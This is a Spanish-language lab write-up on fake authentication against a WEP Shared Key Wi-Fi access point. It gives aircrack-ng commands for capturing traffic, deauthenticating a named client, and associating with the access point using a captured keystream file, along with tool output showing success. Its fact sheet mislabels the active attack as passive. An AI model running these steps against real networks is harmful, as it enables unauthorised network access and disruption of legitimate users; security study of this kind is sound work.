--- title: Autenticación falsa en WiFi WEP-SKA tags: - WiFi - packert-injection - 802.11 categories: [linux] excerpt_separator: <!--more--> --- # Autenticación falsa en WiFi WEP-SKA # Ficha técnica * Tipo de ataque: * pasivo * Valor comprometido: * Acceder a la red inalámbrica * Impacto: * Confidencialidad y disponibilidad (ya que el atacante puede ver y perturbar el tráfico de red) * Técnica de ataque: * Fingir ser un usuario autorizado para autenticarse con el punto de acceso y acceder a la red * Vulnerabilidades explotadas: * Falta de autenticación y cifrado adecuados en el punto de acceso * Activos implicados: * Red inalámbrica y dispositivos clientes conectados * Vector de ataque: * Proximidad física a los usuarios objetivo o ataque remoto a través de malware * Supuestos: * WNIC en modo monitor # Implementación con Aireplay-ng > The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication **cannot be used to authenticate/associate with WPA/WPA2 Access Points**. > `man aireplay-ng` ## Setup ```bash IW=$(iw dev | awk 'NR==2 && $1=="Interface" {print $2}') SMAC=$(iw dev | awk '$1=="addr" {print $2}') # Varibles: cat > vars.sh << EOM IW=$IW BMAC=FC:34:97:61:34:90 #MAC del BSS SSID=C0N3J0 #SSID del BSS SMAC=$SMAC #MAC de la STA atacante CMAC=60:1d:91:64:f7:aa # MAC del STA cliente del BSS CH=6 #Canal del BSS" EOM source vars.sh # Cambio de canal sudo iw dev $IW set channel $CH iw dev ``` # Utilidad Cuando queremos inyectar paquetes en una BS, el AP de la BS puede rechazar nuestros paquetes por dos razones indicadas en un trama 802.11 de Desautenticación: ## Razón 6: *Class 2 frame received from nonauthenticated station* Client attempted to transfer data before it was authenticated. ## Razón 7: *Class 3 frame received from nonassociated station* Client attempted to transfer data before it was associated. Podemos filtrar estos mensajes en Wireshark con ```bash F1="wlan.bssid==$BMAC && wlan.addr==$SMAC && \ wlan.fc.type == 0 && wlan.fc.subtype == 12 && \ (wlan.fixed.reason_code==6 || wlan.fixed.reason_code==7)" echo $F1 ``` Para poder inyectar paquetes, necesitamos entonces priemro autenticarnos # Error en `--fakeauth` en SKA ```shell= $ sudo aireplay-ng --fakeauth 0 -e $SSID -a $BMAC -h $SMAC $IW 02:28:09 Waiting for beacon frame (BSSID: FC:34:97:61:34:90) on channel 6 02:28:09 Sending Authentication Request (Open System) [ACK] 02:28:09 Switching to shared key authentication Read 4 packets..... 02:28:24 Sending Authentication Request (Shared Key) 02:28:24 Authentication 1/2 successful 02:28:24 You should specify a xor file (-y) with at least 140 keystreambytes 02:28:24 Trying fragmented shared key fake auth. 02:28:24 Sending encrypted challenge. ``` Al intentar hacer el ataque notamos que nos sale un error en la línea 7 *You should specify a xor file (-y) with at least 140 keystreambytes* # Paso 1 - Capturar de trafico Lanzamos un [Ataque de interceptación de tráfico](6fMmOLWRSR2o9hdNfp7e0Q): Vamos a crear el PRGA xor file guardando todo los que nuestra WNIC en modo monitor puede capturar ```bash $ sudo airodump-ng --channel $CH --bssid $BMAC --write "ska" $IW ``` ```= CH 6 ][ Elapsed: 12 s ][ 2023-04-08 01:41 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID FC:34:97:61:34:90 -26 90 125 2 0 6 54e WEP WEP C0N3J0 BSSID STATION PWR Rate Lost Frames Notes Probes FC:34:97:61:34:90 60:1D:91:64:F7:AA -14 0 - 6e 940 4 ``` Note quie en la columna `AUTH` no dice "SKA" a pesar de que el AP ásí esta configurado. ## Paso 2 - Esperar una autenticación O mejor no y solo enviamos una trama de [Deautentación WiFi](/Bs3fE7aaSByDmkiN2ATM0w) ```shell sudo aireplay-ng --deauth=1 -a $BMAC -c $CMAC $IW ``` Donde `--deauth=N` indica N tramas, `-a` es la BSSID y`-c` es la MAC del cliente. ```shell= 01:41:21 Created capture file "ska-03.cap". CH 6 ][ Elapsed: 5 mins ][ 2023-04-08 01:46 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID FC:34:97:61:34:90 -26 89 1754 875 1 6 54e WEP WEP SKA C0N3J0 BSSID STATION PWR Rate Lost Frames Notes Probes FC:34:97:61:34:90 60:1D:91:64:F7:AA -13 18e- 6e 390 1095 C0N3J0q ``` :heavy_check_mark: ¡Eureka!`AUTH` dice "SKA" ```shell!= $ ls ska-03*.xor ska-03-FC-34-97-61-34-90.xor XOR=$(ls ska-03*.xor) ``` ```shell $ sudo aireplay-ng 6000 -o 1 -q 10 -e $SSID -y $XOR -a $BMAC -h $SMAC $IW ``` ```shell=150 ... 01:55:25 Sending Authentication Request (Shared Key) 01:55:25 Authentication 1/2 successful 01:55:25 Sending encrypted challenge. [ACK] 01:55:27 Sending Authentication Request (Shared Key) [ACK] 01:55:27 Authentication 1/2 successful 01:55:27 Sending encrypted challenge. [ACK] 01:55:27 Authentication 2/2 successful 01:55:27 Sending Association Request 01:55:27 Association successful :-) (AID: 1) ``` :warning: Aún no sé porque aveces no funciona # References [1] Tutorial: How to do shared key fake authentication ? https://www.aircrack-ng.org/doku.php?id=shared_key [2] What is the meaning of 802.11 Deauthentication Reason Codes? https://support.zyxel.eu/hc/en-us/articles/360009469759-What-is-the-meaning-of-802-11-Deauthentication-Reason-Codes-